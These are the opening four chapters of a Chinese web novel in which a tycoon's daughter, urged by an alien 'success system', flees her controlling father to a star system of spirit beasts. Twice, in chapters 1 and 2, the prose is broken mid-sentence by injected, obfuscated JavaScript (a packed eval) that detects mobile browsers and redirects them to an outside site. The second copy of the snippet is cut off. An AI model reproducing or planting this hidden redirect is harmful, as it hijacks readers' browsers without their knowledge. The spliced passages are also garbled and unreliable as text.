《当殿下只是我的兼职》 1. 第 1 章 长长的车队拱卫着中间一辆低调奢华的豪车，在行人充满了好奇与艳羡的目光中，从上城区的繁华街道驶入私人道路。 窗外的景色快速划过，车内平稳又舒适，放着轻柔和缓的轻音乐。 “别按了。” 赵宴月烦躁地拂开仆人在她太阳穴上按摩的手，将座椅调直坐了起来。 她头疼得越来越厉害，就好像被无数根针扎进了脑子里似的，泛着密密麻麻的刺痛，根本不是普通的按摩能纾解得了的。 这段时间总是隔三差五就头痛欲裂，尖锐的疼痛折磨着她的神经，让她烦躁得想鲨人。 “大小姐，要去医院吗？”西装革履的司机透过内后视镜往后看了一眼，斟酌了好一会儿才询问道。 作为司机，这本不是他该擅自提出的问题，但是他给赵宴月当时十几年司机，也算是看着她长大的，见她不舒服难免担心。 【我早就说过，头疼是因为精神力太强，并不是生理疾病，归根结底是和地球磁场不合，去医院是治不好的】 一道机械音在脑子里絮絮叨叨。 赵宴月没有理会，先回答了司机的询问：“不用，回庄园。” 【我可以带你去千亿光年外的三垣星系，那里的环境不但适配精神力，而且拥有成熟的精神海体系，可以从根源上解决头疼的问题】 【以你的精神力强度来看，甚至有构建S级精神海的潜力】 【你的精神力中还蕴含着罕见的净化能力，可以成为珍贵的净化师】 【我保证你现在拥有的一切地位和财富都能在三垣星系重新得到】 【作为成功人生辅助系统，我存在的意义就是为你规划出我能力范围内最美好的人生，绝对不会骗你】 “撒因。” 【我在】 “闭嘴。” 【好的】 这道机械音已经像鬼一样缠了她有一段日子了。 赵宴月当初听到这道机械音的时候只以为见鬼了，开玩笑似的同意了它的绑定请求，所以现在忍受唠叨也纯属是自讨苦吃。 据机械音所说，它是来自高维世界的意识生命，名字叫撒因，系统核心是“成功人生辅助系统”。 统如其名，只要宿主的人生被它辅助得越成功，它就能获得越多的能量反馈，越多精神上的满足感，实现生命的意义。 它在茫茫人海中，一眼就看中了人群中最闪耀的少女，它发出的绑定申请被轻而易举地同意，一切都顺利得不可思议。 然而有句地球话说得好，命运馈赠的礼物早已在暗中标好了价码。 年轻的系统根本想不到，作为成功人生辅助系统，它应该绑定的宿主越处在人生低谷中越好，这样的宿主以后才有无限成功的可能。 而它的第一任宿主——它一眼相中的、人群中最闪闪发光的少女，她的人生从出生时就达到了地位与财富的极致，让它压根无从辅助。 可怜的系统初出茅庐就遭遇了统生滑铁卢。 撒因冥思苦想许久，终于为宿主做出了统生第一份成功人生规划报告——让赵宴月干掉她爹，从世界首富之女变成世界首富本人，从而获得比现在更成功的人生。 这样的教唆持续了好几天，赵宴月还没来得及同意它的方案，自己却突然出现了头痛的毛病。 撒因发现她在并不能兼容精神力的地球上觉醒了精神力，这简直比最无解的绝症还要绝症。 身患绝症无疑让宿主的超级无敌成功人生出现了一丝裂痕，当然好消息是撒因终于找到了自己的用武之地。 它以地球为中心向外扫描宇宙空间，为她做出了统生第二份成功人生规划报告——移居三垣星系。 虽然还没来得及从宿主身上赚到能量，自己就因为为她寻找合适的宜居地先倒贴了一半，但是幸好它是个新鲜出炉的新生系统，能量值超满，完全可以解决这个问题。 虽然赵宴月让撒因闭嘴，但是没安静一会儿，它又忍不住开始推销起了成功人生套餐。 【真的不去三垣星系吗】 【全星际人民都知道，净化师是联邦的珍宝，每一个净化师的名字都将被刻在长生碑上，供世人瞻仰】 【他们被誉为“永恒的太阳”，住在全三垣星系最安全的云中宫殿，吃穿住行有专人伺候，日常出行有数百保镖】 “专人伺候？数百保镖？就这？”赵宴月嗤笑一声，指腹轻揉着太阳穴，语气很是傲慢。 不等撒因回话，指甲磕碰到屏幕的轻微响声让她揉按的动作一顿。 赵宴月微微偏过头去，看见坐在后排的记录员正拿着手机敲敲打打。 不用想都知道是在向赵董事长报告她的信息，赵宴月瞬时感觉自己的头更痛了，内心的烦躁感也更上一层楼。 她那个有着神经质般掌控欲的爹，恨不得时时刻刻都知道她在干什么，甚至专门往她身边安排了一个记录员的岗位。 比起听起来更加委婉的记录员，赵董事长其实更想直接放的是24h超清监控器，这样就能每时每刻都能清楚地知道她在干什么。 不得不说，有的时候赵宴月确实很想考虑一下撒因的成功人生方案一——干掉她爹，继承遗产，孝出强大。 “给我。”唇色苍白的少女转头朝后座伸出手，长睫低垂，声音不耐。 “对不起。”记录员下意识地道歉，而后顺从地将工作手机放到她掌心。 虽然不知道哪里惹大小姐不快了，但这种情况并不需要做无谓的辩解，反正她包里还有很多备用机，保证能完成顶头上司指派的工作。 车窗降下，手机在空中划成一道抛物线，摔进了道路旁边景色优美的绿化丛中砸的稀巴烂。 扔掉了手机，赵宴月的心情也并没有变好，她知道这种反抗太过微不足道，和无能狂怒没什么区别。 窗外的夕阳染红了大半边天，车队驶入进庄园。 家里的仆人刚簇拥着迎上来帮赵宴月换了鞋，穿着休闲的儒雅男人便从一楼的书房里走了出来。 他也就四十岁出头的年纪，身姿修长又挺拔，显得格外温润而年轻。 “宴月，是不是又头疼了？脑科领域的专家团队已经快组建好了，一定能把病因找出来的。” 赵董事长随手摘下眼镜朝赵宴月走来，目光含笑地从容将人领到沙发边坐下。 父女两长着一双如出一辙的狐狸眼，只不过他的眼睛相比起赵宴月的眼睛更加狭长且具备攻击性，看向闺女的目光里丝毫没有面对外人时的冷淡和高高在上，柔软中带着不加掩饰的爱意，丝毫不吝于表达情感。 赵宴月看都不看他，也懒得和他多说一个字，呈现出一副父慈女不孝的尴尬场面。 赵董事长对闺女的小小叛逆习以为常，他的神色丝毫不变，语气温柔道：“今天过得怎么样？开不开心？有任何不开心的事都要和我说，爸爸可以给你解决所有问题。” “我有什么事你不知道的？还需要问我吗？” 男人当做没听到似的忽略了这句话，他垂眸看着精确到每分钟的生活记录，皱眉担忧道：“同学惹你不开心了吗，中午怎么只吃了半碗饭？还是厨师做的菜不合口味？今天喝的水也不够多，身体可是很重要的……” 赵董事长温柔的声线在赵宴月听来就像是紧箍咒，她的脑子一抽一抽地疼，缓缓地呼出一口气忍了又忍。 自从妈妈意外去世后，这样的询问每天都会雷打不动地进行，赵宴月原本还能理解他的紧张，可结果却是一天比一天变本加厉，甚至开始了灭绝人性的监视，让人根本无法喘息。 “明天我们就在家上学好不好？你一出门爸爸就提心吊胆的，老师早就请好了，都是各个领域的知名专家，肯定不比学校的老师差……” 忍不了了。 赵宴月猛地站起身打断了男人的喋喋不休：“组建好脑科专家之后的第一件事，就是让他们先给你看看脑子。” 她居高临下地看着坐在真皮沙发上的人，一字一句道：“你不觉得自己已经疯掉了吗？” 她爹的眸光一下子变得恐怖起来，语调却依旧柔和：“宝宝，坐下，不然爸爸要生气了。” 生气就生气，再怎么一手遮天，有本事就遮到三垣星系，反正她现在翅膀硬了。 赵宴月充耳不闻，转头就走。 “我让你坐下，赵宴月。” 很平静的语气。 这连名带姓的叫法让赵宴月心脏下意识一跳，但也仅仅不过是脚步顿了顿，依旧没有回头。 “你是我唯一的孩子，自从你母亲去世后，我把所有的爱都给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421335|169067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了你，你有什么不满意的？” “你不应该想要控制我！我没有一点自由！”赵宴月情绪也不是很好，和他呛声道：“和妈妈还在时那样不好吗？当个正常人。” 这句话让男人的气息有一瞬的不稳，他声音略微滞涩：“你是我的孩子，我掌控你的一切有什么不对？我能给你你想要的一切。” 窒息感扑面而来，简直要将人溺毙。 赵宴月无话可说，甩开他抓住自己手腕的手直接上了楼。 她今天不同寻常的冷硬态度让男人焦躁了起来，总觉得有什么地方脱离了掌控，这种好像又要失去的感觉让他头晕脑胀地犯恶心。 他坐在沙发上缓了缓，没过一会儿又站起来往楼上走，试图将赵宴月锁定在他的视线范围内，以此缓解心中的不安。 仆人们眼观鼻鼻观心，安静地候在一侧，即便拥有极佳的职业素养，也不免在心里感叹家家有本难念的经。 【要去三垣星系吗】 【我的能量充足，跨越千亿光年的距离只需要3毫秒】 【你的净化天赋可以让你轻而易举地重新得到地位与财富，过上相对成功的人生】 机械音适时出现，似乎是在推销它的成功人生套餐，又似乎是在笨拙地安慰情绪不佳的人类。 “地位和财富？我对这些东西不感兴趣。” 赵宴月整个人呈大字型躺在柔软舒适的大床上，长发如水蛇般在床上铺开，她的视线没有聚焦地盯着头顶的吊灯：“就算我什么天赋都没有又怎么样呢，我是赵氏财阀唯一的继承人，未来的世界首富。” 她浑身上下都透着一切物欲都被满足后懒洋洋的厌世感，因为所有东西都唾手可得，反而显得无欲无求。 一个人的人生怎么能成功成这样。 撒因安静了片刻，偷偷翻了翻数据库里前辈们的统生光辉辅助事迹，试图吸取一些经验应对这个场面，结果左看右看都觉得那些宿主们的人生巅峰看着也不怎么成功。 嗒，嗒，嗒。 耳边隐隐传来上楼的脚步声。 不紧不慢，越来越近。 赵宴月被这脚步声逼得心烦气躁，她猛地坐起身问道：“走了我还能回来吗？” 【理论上来说，只要我的能量足够就可以】 这句话无疑是在赵宴月燃烧的理智上火上浇油。 她的胸膛略微急促地起伏着，内心陷入天人交战，顺手拿出一个像玉又像石头的不明物体攥在手里盘来盘去，平息着翻涌的情绪。 不管怎么说，她这一走，对她爹来说就是让他在承受妻子意外离世之后，又要承受一次女儿失踪的巨大打击。 这对她已经疯了一半的爹来说无异于天塌了。 但另一方面，赵宴月也不想忍受这时刻被监视的人生，一想到这样的生活还要过大半辈子，她现在就天塌了。 苦了爹也不能苦女儿。 握着玉石的手因为太过用力，粗糙的表皮刺破了皮肤，一丝丝鲜血沾染了上去，原本灰扑扑的石头发出了浅淡的光，而赵宴月心神不定毫无察觉。 【这块石头有点奇怪】 撒因注意到异样，扫描了一番后说道。 “这是块陨石，我当初看它顺眼就拍了下来，当个把件玩玩。” 赵宴月随口回道，她赤着脚踩着柔软的地毯走到书桌边坐下，拿起钢笔在A4纸上寥寥写了几句话当做临别留言。 上楼的脚步声在门口停了下来，紧接着就因为门把手往下压而发出轻微的声响。 房门在下一秒被推开，偌大的空间里空空荡荡不见人影，徒留一股温暖的香气，男人控制了许久才重新挂上的温和笑容渐渐破碎。 他在门口站了好一会儿后才走了进去，将各个角落都转了个遍也没找到人，倒是在书桌上看到了留下的字条。 话里话外横看竖看都写满了“离家出走”四个大字的A4纸被捏皱。 男人紧攥着字迹未干的纸张，强撑着走到沙发边才失力地坐下。 向来挺直的背脊难得不顾形象地弯了下去，他的双手插进发丝中紧紧握住，发根被拉扯的疼痛感让他稍稍冷静了下来，只不过声音里带着难以察觉的颤抖。 “查监控，封路，把她找回来。” “好的先生。” 2. 第 2 章 天市星，明珠区，绿野城。 私人飞行器和公共飞船在跑道上开得飞快，然后按照标识牌起飞加入空中轨道，留下一道道白色的尾气。 奇奇怪怪的交通工具跑的跑飞的飞，银白色的城区巡逻舰慢悠悠地在空中巡航，时刻准备着维护治安。 “唉。”灰头土脸的少女拖着一个半人高的大麻袋，忧伤地弯腰从路边垃圾箱里翻出两个空牛奶罐。 “一个牛奶罐的回收价怎么才0.5星币。” 空罐自由落体跌入麻袋里，发出叮呤咣啷的碰撞声。 【等你功成名就过上了相对成功的人生，我就有能量送你回去了】 【扫描宜居星球和送你到天市星消耗的能量有亿点多，现在能量槽空了】 撒因还是那副波澜不惊的死机械音，但是硬生生透露出一股子心虚的意味。 一只统怎么可以捅出这么大的篓子。 按照它的计划，赵宴月应该在到达三垣星系后直接入住云中宫殿走上人生巅峰。 事实上到了天市星之后，撒因才知道净化天赋检测仪式在每年的6月6号统一进行，直接找到警务中心说“我是净化师”只会被人当成疯子送进精神病院。 可是现在才3月1号！ 也就是说作为一个成功人生辅助系统，由于信息了解不到位，它已经让曾经的世界首富独女孤苦无依地在异星球捡了十天垃圾了。 可怕的是这样的日子还要过三个月。 它现在最不敢面对的，就是宿主深邃的眼神。 赵宴月根本不知道撒因在想什么，她数了数麻袋里的瓶瓶罐罐，忽然振奋了起来：“今天能赚53星币！还差最后535星币就能解锁那个破陨石。” 耳边忽然传来一阵嗤笑。 三十多岁的青年牵着一个五六岁的小孩子从垃圾箱旁路过，顺口将旁边的赵宴月当成了反面案例教育起小孩。 “看见没，你要是精神海等级没到D级，就只能和她一样，当个每天靠捡垃圾赚五十星币的废物。” “爸爸你别总是这么说别人，被听到了不好。”小孩扯了扯他的衣袖小声道，他说完有些心虚地扭过头，结果正巧对上当事人火冒三丈的视线。 小孩顿时一个激灵，在青年疑惑看向他时，支支吾吾道：“她听到了。” “不用管，大实话还怕人说吗？”男人毫不在意地摆摆手，甚至懒得回头给个眼神。 一个捡垃圾的流浪汉能有什么能耐，听到了也只会忍气吞声。 刚这么想着，少女的声音打脸似的恰好从身后响起：“捡垃圾怎么了，你个有眼无珠的老家伙。” 男人停下了脚步，他转过身用手抚平了外套上细微的褶皱，眼皮一抬正视起了这个自己口中的反面案例。 少女脸上身上都沾了不少灰，但看得出漂亮得惊人，身上还颇有种不知天高地厚的气势，实在不像个流浪汉。 像不像流浪汉反正都是个捡垃圾的，男人冷笑一声，言语刻薄道：“你有没有家教？小小年纪怎么见人就咬？” 宿主被骂，撒因也生气了，它担心赵宴月第一次被人骂没经验，着急地出起主意。 【他骂你是狗，快骂他才是狗】 “你先闭嘴。”赵宴月抽空回答着撒因，有点打扰她思路了。 【好的】 耳边一静，赵宴月这才找回感觉，她微微抬起下巴，盛气凌人道：“你在狗叫什么，只准你咬人不准主人教训你？老东西真不要脸。” “你！你有病吧？怎么说话的！”词汇量略显匮乏的男人指着赵宴月，撕破了之前看似从容的表象。 小孩子似乎天生就对谁不好惹这件事具有敏锐的感知，他颤抖着小哭音抱着男人的大腿，试图将人拉走：“爸爸我们走吧。” 男人显然不想在孩子面前丢了面子，虽然在对骂这件事上棋差一招，但还是梗着脖子道：“你爸妈怎么教育的你！小的捡垃圾，大的也不学好，真是龙生龙凤生凤，老鼠儿子会打洞。” “还龙生龙凤生凤，我生你这个乌龟王八蛋！” 偷偷摸摸打开光脑录像吃瓜的路人没忍住笑出了声，在对上男人怒气冲冲的视线后立马看看天又看看地，总之人在尴尬的时候真的很忙。 【这句话好像有哪里不对劲】 脑子转得很快的撒因思考了一瞬提出质疑。 “别管，闭嘴。”伤敌八百自损一千的赵宴月很有气势道。 【好的】 路人的笑声如同压死骆驼的最后一根稻草，直接压垮了男人的理智，一只体长一米左右的蜈蚣凭空出现在他的身边，呈现出一副守卫的姿势。 它全身覆盖着油亮的黑色甲片，每一节又带有一条红色的横线，呈现出黑红交织的颜色。 硕大无比的蜈蚣支起前半边身子立了起来，露出白色的腹部，不知道几十条腿在空中扑腾，对赵宴月进行着威慑。 “是极影蜈蚣！” “这个灵兽可贵了，灵兽孵育中心的灵兽蛋都要120万星币呢！” “极影蜈蚣可是机甲战宠，又不是普通灵兽，机甲战宠的灵兽蛋哪个不是一百万星币起步？” “能契约机甲战宠，他最低也是B级的精神海，难怪这么看不起人。” “妈耶，虽然理智上知道是灵兽，但我还是接受不了蜈蚣……” “有一说一，幼生态的极影蜈蚣是吓人了点，但是机甲态其实还挺帅的。” 暗中吃瓜的路人此时不再掩饰地开始了窃窃私语，越来越多的人闻着味聚集了过来。 一群人看热闹的看热闹，看灵兽的看灵兽，很快围出了一个圈。 赵宴月早就知道这个世界有灵兽的存在，也做好了时不时看见兽类动物的心理准备，但是这是蜈蚣。 “撒因。” 【我在】 “我好像要晕过去了。” 【别晕】 “好的。” 赵宴月转头拨开人群，朝着天上飞驰而来的一排飞行器大喊：“妖妖灵妖妖灵！” “我举报有人公众场合教唆灵兽伤人！” 头顶印着官徽的飞行器依次降下，穿着制服的警员们雷厉风行，一个个冷着脸气势惊人，只不过在看清人群中心的少女后无不两眼一黑。 又是她！ 警卫队队长应胜走上前，沉默地从弱小可怜又无助的少女身上移开视线，看向男人道：“这位男士，根据天市星公共安全法规第36条，公共区域不得私自进行灵兽对战。” 他说到这顿了顿，补充：“更不能直接让灵兽和居民对战。” “因未造成严重影响，现对你处以500星币罚款，你有异议吗？” 有了警卫队的加入，男人此时也冷静了下来。 只不过还不等他说话，就见拖着麻袋的少女慢悠悠地走了过来，那狗仗人势的模样气得他胸闷气短。 “让他出示极影蜈蚣的灵兽出行许可证。”赵宴月伸手对着男人身边的极影蜈蚣一指，字正腔圆道：“光天化日，朗朗乾坤，人证兽证俱在。” 这话一说，男人也不胸闷了，急忙将灵兽收回了精神海，又匆忙用光脑交了罚款，然后拽着默默掉眼泪的小孩抬腿就走，嘴里还不忘骂道：“真是晦气！” 应胜也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然看不出她发卡上镶嵌的比鸽子蛋还大的湛蓝色宝石是个什么品种，但谁家没人要的小孩浑身上下都透着一股珠光宝气的富贵感。 一看就知道养得很精贵，估计家里人找不到她都要急疯了。 然而就在包括他在内的所有人都这么以为时，离奇的事发生了。 整个联邦基因库里都没找到她的相关基因信息——这意味着她不但是个黑户，甚至整个联邦境内都没有任何亲属。 唯一的解释就是她的十八代祖宗都是没纳入基因库的黑户，这件事的离奇程度简直让所有人都大跌眼镜。 不过按照测出来的骨龄，她还是个17岁的未成年，又没有亲属关系，确实符合孤儿院的收留标准。 警务中心帮她办好身份手续送去了孤儿院，本以为这件事就此了结，结果这家伙第二天就又和警卫队的人见面了——她开发出了赚星币的歪门邪道，三天两头搞举报赚警卫中心的奖金。 原本治安很好的绿野城，因为有她的存在，让警卫队增加了不少业绩。 虽然这不要也罢的业绩是警卫队的，但是奖金是她的，十天赚5000星币在人均薪资6000星币每月的天市星，绝对算是高收入群体。 别看有的人在捡垃圾，其实这只是她的副业罢了。 应胜揉了揉太阳穴，叹了口气问道：“要送你回孤儿院吗？” “不用，我还有事要办。” 踩着夕阳的余晖，赵宴月想着马上就可以解锁的破陨石，心情很好地哼着歌拖着麻袋往垃圾回收站走去，一人一麻袋的影子在地上拉得细长。 3. 第 3 章 垃圾回收站里堆了一座又一座的垃圾山，但是因为每天都清理得及时，并没有什么太大的异味。 坐在回收站门口的中年女人抽着烟，有着不少伤疤的手一下又一下地摸着星火烈犬的后背。 它身躯高大威猛，浑身如同烈焰一般的毛发蓬松又顺滑，一看就知道被打理得很好，可惜却遮不住瘦骨嶙峋的身躯。 即便是这样，几乎比赵宴月还要高出一些的身躯依旧透着超乎寻常的力量感和压迫感。 赵宴月知道三垣星系的灵兽分为攻击类灵兽和非攻击类灵兽，其中攻击类灵兽又分为普通攻击类灵兽和机甲战宠。 每个灵兽都有幼生态、进化态、终极态三个阶段，机甲战宠就是指在终极态可以化身生物机甲的灵兽，是灵兽中十分珍惜和昂贵的存在。 眼前的星火烈犬是普通攻击类灵兽，但在普通攻击类灵兽当中属于实力较为强横的灵兽品种。 她看着星火烈犬，脑子里不由浮现出另一双绿宝石一般的眼睛，水汪汪湿漉漉的，常常蹲坐在窗边安安静静地看她捡垃圾。 回过神来，赵宴月拖着麻袋走近垃圾回收站，星火烈犬慢悠悠地站起身围着她转了一圈当作打招呼。 都是认识了好几天的老熟人了，赵宴月顺势将脏手往它干干净净的毛发上擦了擦。 星火烈犬纵容着她的恶作剧，毫不介意地甩了甩尾巴。 站长没有注意到赵宴月十分缺德的小动作，站起身从她手里接过麻袋，一边数着瓶子一边闲聊道：“后天就是高三开学的日子，你要去上学了？” 赵宴月闻言应了一声，顺便一脚将咕噜噜滚落到她脚边的塑料瓶踢回垃圾山，垃圾山上顿时发出“砰”的一声。 站长对她的手欠已经习以为常，听到动静头都没抬道：“你也是赶上了好时候，刚好高三下学期学生们要分班，也不用担心融入不进去。” 赵宴月知道她的意思，在天市星，高三下学期分班并不是普通的分班，也被叫做人生的分水岭。 天市星上的每个居民都有精神力，精神力会在成年时期完全发育结束，这个时候就可以构建出精神海。 每所中学高三下学期开学时都会举行精神海等级鉴定测试，学生们先在引导下用精神力构建出精神海，继而鉴定出精神海的等级。 精神海分为SABCDEF七个等级，契约灵兽的最低精神海等级标准是D级，这也是之前那个男人会说精神海没有D级就是废物的原因。 高三分班就是指精神海D级及以上的学生会进入契约班，从这一学期开始接触和灵兽相关的课程，D级以下的同学则会进入普通班，未来也会考普通的综合性大学。 “嘀！吱吱宝到账52星币。” 手腕上的光脑在此时发出了消息提醒，打断了赵宴月的思绪。 ……52星币？ 她不可置信地确认了一遍到账金额，指着坐回椅子上抽烟的女人大声控诉道：“好你个裘青枫！小孩的钱你也贪！还差我一个币！” “没大没小。” 裘青枫从麻袋里捡出来几个瓶子道：“你自己看，这四个都是人喝的普通牛奶罐，只值0.25星币一个，灵兽牛奶罐才值0.5星币。” 赵宴月接过瓶子横看竖看，终于发现两种牛奶罐的厚度确实有着细微的不同。 还有没有天理了，灵兽用的东西比人还好。 好在今天还有一笔500星币的额外收入，距离解锁陨石需要的6666星币只差最后36个，少赚一星币问题也不大。 赵宴月虽然不占理，但还是哼了一声道：“小气鬼！好歹当了这么多天的商业合作伙伴，一个币也不多给。” “别说一个币，半个币都不带多的。”裘青枫的回答冷酷无情。 撒因看着这一幕差点眼泪掉下来。 【不就是一个币，等你成为净化师，多少币都会有的】 赵宴月接过裘青枫递回来的麻袋，把自己吃饭的家伙叠吧叠吧塞进兜里，“等成为净化师黄花菜都凉了。” 孤儿院离垃圾回收站并没有太远的距离。 院墙上的常春藤在轻风中微微摇晃，建筑的风格精致又温馨，一踏进院门就能听到花园那边传来的，小孩子嬉笑打闹的声音。 虫族和人类在战场打得水深火热，联邦孤儿的数量庞大，相关设施都已经十分完善。 温柔知性的老人家在花园边陪着小朋友们玩耍，见到赵宴月回来朝她招了招手道：“来，等你好久了，有件事要和你商量。” 见院长叫她，赵宴月不明所以地走上前，跟着她走进了院长办公室。 老人家不紧不慢地给她倒了杯水，这才在她对面坐了下来。 “月月，你想有个新家庭吗？”院长轻声细语地问道，慈爱的目光停留在她的脸上，时刻关注着她的情绪变化。 赵宴月先端起水杯咕咚咕咚灌了好几口，然后又抽出一张纸巾擦了擦唇边的水渍，这才开口道：“谁要领养我吗？怎么这么想不开。” 院长听到这话笑了好一会儿，也跟着调侃了一句：“你也知道自己难养，刚来那几天吃什么吐什么，折腾得大家好几天没睡着觉。” “我那是初来乍到水土不服。”赵宴月强调道。 移居移出了银河系，就算是铁打的人来了都得适应一下。 院长只当她说的是刚来孤儿院水土不服，聊过几句便进入了正题：“你知道联邦只会花钱养你们到成年，之后一切花销都要靠自己，如果是普通人也就罢了，上大学可以申请助学贷款，勤工俭学日子也能过。” 她说到这，语气认真了几分：“如果精神海达到D级，有成为契约者的天赋，靠你自己肯定是买不起也供养不起一只灵兽的。” 赵宴月从来没有过为钱发愁的概念，她总觉得需要什么自会有人双手奉上，捡了几天垃圾还捡得挺开心。 如今这么现实的问题猝不及防砸到脸上，她立马忧愁了起来。 拿捏这些小孩对院长来说就是手拿把掐。 见赵宴月已经进入了谈话的状态，她继续温声引导道：“你现在还没进行精神海等级鉴定测试，领养人在这个时间点让我来和你商量，其实也是间接告诉你他们并不在乎你是普通人还是契约者。” “如果你并不十分反对这件事的话，那我就给你介绍一下这户人家？” 在外星生活了整整十天，赵宴月终于在此刻想起了被她留在地球上的留守老父亲赵董事长。 ……也不知道过了这些天，他有没有深刻认识到自己的错误。 “您说吧，我听听看。”赵宴月说完在心里感叹：“在回地球之前，是时候 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院长一听这话，难得偏了题：“你这个不着家的，要真说起来除了我和孟檬之外，院里也没几个人见过你。” “至于领养人，我猜你应该认识。”满头银发的老人从容地端起水杯，笑着换了个话题：“你是不是每天都在灵兽商业街那边捡牛奶罐？” 赵宴月点了点头。 “有没有哪个垃圾箱里的牛奶罐特别多？” 听院长这么问，赵宴月脑海中灵光闪现，她微微睁大了眼，惊讶道：“他们是那家幼火犬灵兽店的店主？” 那家店店门口的垃圾箱里不知道从哪天开始，里面干干净净的全是牛奶罐，一度成为赵宴月最喜欢翻的垃圾箱没有之一。 她记得那家店并不大，店里也只有零星三五只幼火犬，其中有一只幼火犬长得特别好看，经常蹲在窗边看她。 赵宴月看见它的第一眼就感受到了心动的感觉，可惜灵兽孵化中心的幼火犬蛋都要20w星币一只，更别说是活体幼火犬。 她现在是个穷姑娘，把自己卖了都买不起。 店里有时是个不苟言笑的爷爷看店，有时是个看着很和气的奶奶看店。 如果是奶奶看店，每次路过都有很大概率获得小零食投喂。 “所以你们应该还挺熟悉的？”院长肯定了她对于领养人身份的猜测，然后询问道：“月月想去他们家吗？” 赵宴月一下子就把她爹忘到了九霄云外，站起身道：“能现在就搬家吗？” 院长差点没端住脸上温柔的笑容，“你很着急？” “有点。” “小没良心的，我这个院长一点也不值得你留念是吧。” “等我出人头地就给院里捐钱。” “……谢谢你啊。”院长放下水杯：“但是今天只是问问你的意见，你同意的话明天就能办好手续去新家，也不耽误后天开学。” 赵宴月遗憾退场，等走到门口，她突然转过身又走了回来。 面对院长疑惑的视线，赵宴月伸手乞讨：“先借我36星币好不好，等我出人头地加倍还您。” “……” 6666星币到手，赵宴月心满意足。 4. 第 4 章 夜幕降下，地处城区边缘的孤儿院万籁俱静。 窗外的天空并不黑沉，由90％水冰和10％不明物质组成的行星环取代了月亮的作用，像是仙女的飘带般银光闪闪，控制着星球上的海浪和潮汐。 赵宴月穿着睡衣躺在床上半天没有睡着，她抱着枕头翻了个身，干脆坐了起来。 如瀑的长发透着保养得很好的光泽感，却被主人无情地压在了屁股下面，赵宴月双手合十，嘴里念念有词。 【是在担心新家的事吗】 撒因觉得为宿主解决烦恼也是它成功人士辅助系统的本职工作之一，想了想便开口询问道。 行星环皎洁的光芒撒在少女冷白如玉的脸颊上，赵宴月深沉地摇了摇头：“我是在为我吱吱宝里即将逝去的6666星币哀悼。” 她白嫩的掌心里握着块灰扑扑的陨石，是从地球带到天市星的唯一的物件——这对她来说并不是什么重要的东西，只不过撒因带她走的时候，手里恰好拿着罢了。 曾经怎么把玩都是块普通陨石的石头现在成了精，它头上顶着一行字。 “是否花费6666星币解锁？” 这行字后面还贴心地附上了一个未知收款码。 石头到底是个什么东西，不知道，解锁什么，更不知道，但耐不住自从出现这行字以来，赵宴月一天比一天更好奇。 这可不是普通的石头，这是块会骗人星币的石头。 “区区6666星币。” 【区区6666星币，你的全部身家，里面还包含一笔36星币的负债】 【日子不过了吗】 撒因试图让她冷静下来，多想想生活的重担。 赵宴月不屑一顾：“区区36星币，我捡一天垃圾就能捡回来。” 【前提是许爷爷和许奶奶明天也好心地往垃圾箱里塞一堆空罐】 “小嘴巴不说话好吗？” 撒因用毫无情绪起伏的机械音叹了口气，倒也没有再阻拦，只不过突然有点想找份工作养家。 吱吱宝的余额被毫不犹豫地清零了。 麻麻赖赖的陨石收了星币后，开始扑簌簌地往下掉破碎的外壳。 赵宴月根本顾不上看陨石内部透过裂缝溢出来的微光，压抑着尖叫从床上跳了下来。 “破石头有没有素质！怎么可以在我床上掉渣！” 陨石被她骂得光芒一黯，从她手里挣脱了出来，背对着赵宴月默默悬浮在了垃圾桶的上方，灰黑粗糙的表皮一片一片哗啦啦地掉。 【这块陨石似乎是某种传承的媒介】 撒因不愧来自高维世界的意识生命，在外壳碎裂的陨石上扫描一番后，直接下了个听起来很厉害的定论。 赵宴月抖了抖被子，重新爬回床上，撑着脸看着还在努力破壳的石头打了个哈欠。 “传承？你搞搞清楚，我们这里是人均寿命100岁的星际，又不是有大能的修真界，能传承的只有非物质文化遗产。” 【好有道理】 “咚咚咚。” 敲门声打破了一室静谧，甜美的女声从门外传来。 “睡了吗月月？给我开门。” 扑簌簌的声响变得更快了，就像是被吓到了的社恐。 陨石的外壳不知不觉间已经全部掉落，一道浅金的光芒慌不择路地直直撞进赵宴月的胸口，让刚踩着拖鞋站起身的赵宴月一个趔趄又坐回了床上。 一切都发生在电光火石之间，赵宴月茫然地低下头，在胸口处左摸右摸。 “是有什么东西进去了吗？经过我同意了吗？” 宿主的利益就是系统的利益，撒因闻言立马深表赞同。 【太过分了，怎么可以私闯民宅】 房门从内拉开，外面站着的女孩看着和赵宴月差不多大，她穿着单薄的睡衣，顶着一头小卷毛，踮起脚眨巴着一双小鹿眼越过赵宴月往屋里看去。 赵宴月伸出食指抵住她的额头把她往外推了推，不满道：“你注意点社交距离好不好。” 孟檬才不和她注意社交距离，如同一只泥鳅般弯腰从赵宴月的手臂下钻了进去，直接往沙发上一倒。 “你刚在叫什么？房间里进飞天大耗子了吗？” “真进飞天大耗子了你会来？”赵宴月毫不留情地戳穿了孟檬，她披头散发双手抱胸，俯视着陷在沙发里的人不爽地问：“你过来干什么？” “我们的夜聊茶话会都举办这么久了，我还能来干什么，找你聊聊天嘛。” 孟檬趁她不备，直接把人拽到跌坐在自己旁边，在赵宴月发火前火速挤出了两滴鳄鱼的眼泪。 “这不是听说你明天就会去新家了，临别前聊聊天还不行吗。” 赵宴月眯眼打量着一脸真诚的孟檬，目光在她湿润的小鹿眼上停顿了一秒，狐疑道：“真的假的？我和你已经熟到这个地步了？” 没记错的话，虽然孟檬天天大晚上的来她房间缠着她聊天，但她和孟檬一共才认识九天半的时间。 